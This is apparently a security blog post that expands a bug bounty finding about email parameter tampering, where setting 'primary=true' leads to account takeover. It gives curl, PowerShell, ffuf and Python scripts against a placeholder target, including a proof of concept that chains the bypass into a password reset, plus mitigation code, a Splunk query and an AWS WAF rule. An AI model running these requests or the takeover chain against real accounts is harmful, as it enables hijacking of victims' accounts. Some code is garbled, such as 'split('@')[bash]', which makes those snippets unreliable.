Listen to this Post
Introduction:
Parameter tampering is a web application vulnerability where attackers modify HTTP request parameters (e.g., POST data, URL query strings, or hidden form fields) to bypass security controls. In this real‑world bug, an email restriction bypass allowed an attacker to assign an unauthorized primary email address to a user account – a change that the victim could not reverse. This flaw stems from trusting client‑side parameters (like `is_primary=false` vs true) without proper server‑side validation, a common misconfiguration in account management modules.
Learning Objectives:
- Understand how parameter tampering can bypass email ownership and restriction controls.
- Learn to detect, exploit, and mitigate insecure direct object references (IDOR) in email management workflows.
- Master practical testing techniques using Burp Suite, custom scripts, and command‑line tools across Linux and Windows.
You Should Know:
- Understanding the Email Restriction Bypass via Parameter Tampering
The original post describes a vulnerability where a user adds a secondary email address, then intercepts the request and changes a parameter (e.g., `primary=false` to primary=true). The server incorrectly accepts this, making the attacker‑controlled email the primary (and non‑removable) contact. This is a classic case of client‑side trust failure.
Step‑by‑Step Guide to Reproduce (Ethical Testing Only):
- Login to a test account on a vulnerable web application.
2. Navigate to Account Settings → Email Management.
3. Add a secondary email address (e.g., `[email protected]`).
- Intercept the request using Burp Suite (Proxy → Intercept on).
- Identify the parameter controlling primary status – common names:
is_primary,make_primary,primary,default. In the post, changing `false` to `true` worked. - Modify the parameter value and forward the request.
- Check if the new email now appears as primary and cannot be removed without admin intervention.
Linux / Windows Commands for Manual Testing:
- Using `curl` (Linux/macOS/WSL):
curl -X POST https://target.com/api/user/email \ -H "Cookie: session=YOUR_SESSION" \ -d "[email protected]&primary=true"
- Using PowerShell (Windows):
Invoke-WebRequest -Uri "https://target.com/api/user/email" ` -Method POST ` -Headers @{"Cookie"="session=YOUR_SESSION"} ` -Body "[email protected]&primary=true"
Mitigation Code Example (Python Flask):
@app.route('/add_email', methods=['POST'])
def add_email():
user_id = session['user_id']
email = request.form['email']
NEVER trust client to tell if email is primary
Instead, check if user has any primary email already
is_primary = (db.count_primary_emails(user_id) == 0)
db.add_email(user_id, email, is_primary)
return jsonify(success=True)
2. Burp Suite Configuration for Parameter Tampering Detection
Burp Suite is the industry standard for intercepting and modifying web requests. To automate parameter tampering detection:
Step‑by‑Step Guide:
- Set up Burp Proxy on `127.0.0.1:8080` and configure your browser to use it.
- Install CA certificate from `http://burp` to intercept HTTPS traffic.
- Use Repeater – after capturing the email management request, send it to Repeater (Ctrl+R).
- Modify parameters – try changing `primary=false` →
primary=true, `role=user` →role=admin, `[email protected]` →[email protected].
5. Use Intruder for fuzzing:
– Set payload position on the parameter value (e.g., true/false, 1/0, yes/no).
– Attack type: Sniper.
– Payload list: true, false, 1, 0, yes, no, on, off.
6. Analyze responses – a 200 OK or 302 redirect with the primary email changed indicates bypass.
Automated Fuzzing Script (Python + Requests):
import requests
burp_proxy = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
cookies = {"session": "YOUR_SESSION_COOKIE"}
payloads = ["true", "false", "1", "0", "yes", "no"]
for payload in payloads:
data = {"email": "[email protected]", "primary": payload}
r = requests.post("https://target.com/api/email/add", data=data, cookies=cookies, proxies=burp_proxy, verify=False)
if "primary_email_set" in r.text:
print(f"Vulnerable with payload: {payload}")
3. API Security Hardening Against Parameter Tampering
Email management often relies on REST APIs. Attackers can tamper with JSON or XML parameters. To harden:
Step‑by‑Step Guide for Developers:
- Never accept user‑supplied flags for sensitive attributes (is_primary, is_admin, is_verified). Derive them server‑side.
- Implement strong access controls – verify that the requesting user owns the email address being modified.
- Use HMAC or JWT with strict claim validation – include a hash of critical parameters that cannot be replayed.
- Validate content‑type and schema – reject unexpected parameters using an allowlist.
Example API Security Middleware (Node.js/Express):
app.post('/api/email/add', (req, res) => {
const { email } = req.body;
// Do NOT trust req.body.primary
const isPrimary = req.user.emails.length === 0;
// Ensure user owns the email domain or verify via OTP
if (!req.user.domains.includes(email.split('@')[bash])) {
return res.status(403).json({ error: 'Domain not allowed' });
}
req.user.emails.push({ address: email, primary: isPrimary });
res.json({ success: true });
});
Linux Command to Test API Parameter Injection:
Using jq to manipulate JSON payload
echo '{"email":"[email protected]","primary":true}' | jq '.primary = false' | \
curl -X POST https://target.com/api/email -H "Content-Type: application/json" -d @-
- Windows & Linux Command‑Line Tools for Parameter Tampering
You don’t always need Burp Suite. Command‑line tools can quickly test for parameter tampering.
Linux:
– `curl` with `–data` and --cookie:
curl -X POST https://target.com/email/update \ --data "[email protected]&primary=true" \ --cookie "sessionid=abc123" \ --proxy http://127.0.0.1:8080
– `httpie` (more readable):
http POST https://target.com/email/update [email protected] primary:=true Cookie:sessionid=abc123
Windows PowerShell:
$body = @{email='[email protected]';primary='true'}
Invoke-RestMethod -Uri 'https://target.com/email/update' -Method Post -Body $body -SessionVariable 'session'
Automated Parameter Fuzzing with `ffuf` (Linux):
ffuf -u https://target.com/email/update -X POST -d "email=test@FUZZ&primary=$$" \ -w parameter_names.txt -H "Cookie: session=abc123" -fs 0
- Exploitation Chain – From Email Bypass to Account Takeover
This bug is not just about an email address; it enables full account takeover if the primary email controls password reset or multi‑factor authentication (MFA).
Step‑by‑Step Attack Chain:
- Bypass restriction – assign attacker‑controlled email as primary (non‑removable).
- Trigger password reset – use the “forgot password” function; reset link goes to attacker’s email.
- Reset victim’s password – attacker gains full access to victim account.
- Disable MFA – if MFA recovery relies on email, attacker can remove MFA.
Mitigation Steps:
- Require email verification before marking as primary.
- Send a confirmation link to the old primary email when a primary change is requested.
- Log and alert on primary email changes.
Sample Alert Rule (Splunk Query):
index=web_logs uri="/api/email/update" status=200 | where primary_changed=true AND within(60 seconds) same_user | stats count by user_ip, user_agent, user_id | where count > 2
6. Writing a Professional Bug Bounty Report (Template)
Based on the original post, here’s how to document such a finding for HackerOne or Bugcrowd.
Step‑by‑Step Guide:
- Email Restriction Bypass via Parameter Tampering – Unauthorized Primary Email Assignment (Non‑Removable)
- Severity: High (P2) – leads to account takeover
- Steps to Reproduce (as in the post, but expanded):
– Login as user A.
– Add secondary email B using POST `/email/add` with primary=false.
– Intercept and change to primary=true.
– Refresh page – email B is primary and no “remove” option.
4. Impact: Attacker can take over any account by setting their email as primary and resetting password.
5. Proof of Concept (PoC) – provide curl command.
6. Remediation: Do not accept `primary` parameter; derive from database.
Example PoC Script Snippet:
import requests
s = requests.Session()
s.post("https://target.com/login", data={"user":"victim","pass":"victim_pass"})
Bypass
s.post("https://target.com/email/add", data={"email":"[email protected]","primary":"true"})
Now reset password
s.get("https://target.com/[email protected]")
print("Reset link sent to [email protected]")
- Cloud Hardening – AWS WAF Rules to Block Parameter Tampering
If you’re defending a cloud‑hosted app, use AWS WAF (Web Application Firewall) to inspect request parameters.
Step‑by‑Step AWS WAF Configuration:
- Create a WebACL and associate with CloudFront or ALB.
- Add a custom rule – examine `POST /email/add` requests.
- Inspect the `primary` parameter – if it equals `true` or
1, block the request (since legitimate requests never set it).
4. Use regex pattern set:
- Pattern: `primary(=|%3A)(true|1|yes|on)`
5. Action: Block with custom error page.
Example AWS CLI command to create rule:
aws wafv2 create-regex-pattern-set \ --name "BlockPrimaryParam" \ --regular-expression-list "primary(=|%3A)(true|1|yes|on)" \ --scope REGIONAL
What Undercode Say:
- Key Takeaway 1: Parameter tampering is trivial to exploit yet remains widespread because developers implicitly trust client‑side inputs. Always derive security‑sensitive flags server‑side.
- Key Takeaway 2: Email management endpoints are high‑value targets. Combine parameter tampering with password reset flows for full account takeover – a critical risk often missed in standard pentests.
The 30‑minute bug fix highlighted in the original post could have been prevented with one line of server‑side logic: ignoring the `primary` parameter entirely. As AI and automation tools (like Burp Intruder, ffuf, and custom Python scripts) increasingly scan for such flaws, manual code review and parameter whitelisting become non‑negotiable. For defenders, implement behavioral detection – monitor for rapid email changes or abnormal `primary` flag patterns. The future of web security lies in zero‑trust parameter handling: never trust, always validate.
Prediction:
As AI‑powered fuzzing tools evolve, parameter tampering vulnerabilities will be discovered automatically within seconds, shifting the bug bounty landscape toward more complex logic flaws. However, legacy applications and rapid‑development frameworks (like low‑code platforms) will remain vulnerable for years. Expect stricter OWASP API Security guidance (API2:2023 – Broken Authentication) to explicitly flag client‑side primary flags as a critical failure. Organizations that fail to implement server‑side derivation will face account takeovers at scale, leading to regulatory fines under GDPR ( 32 – security of processing).
▶️ Related Video (78% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Vikas Gupta63 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
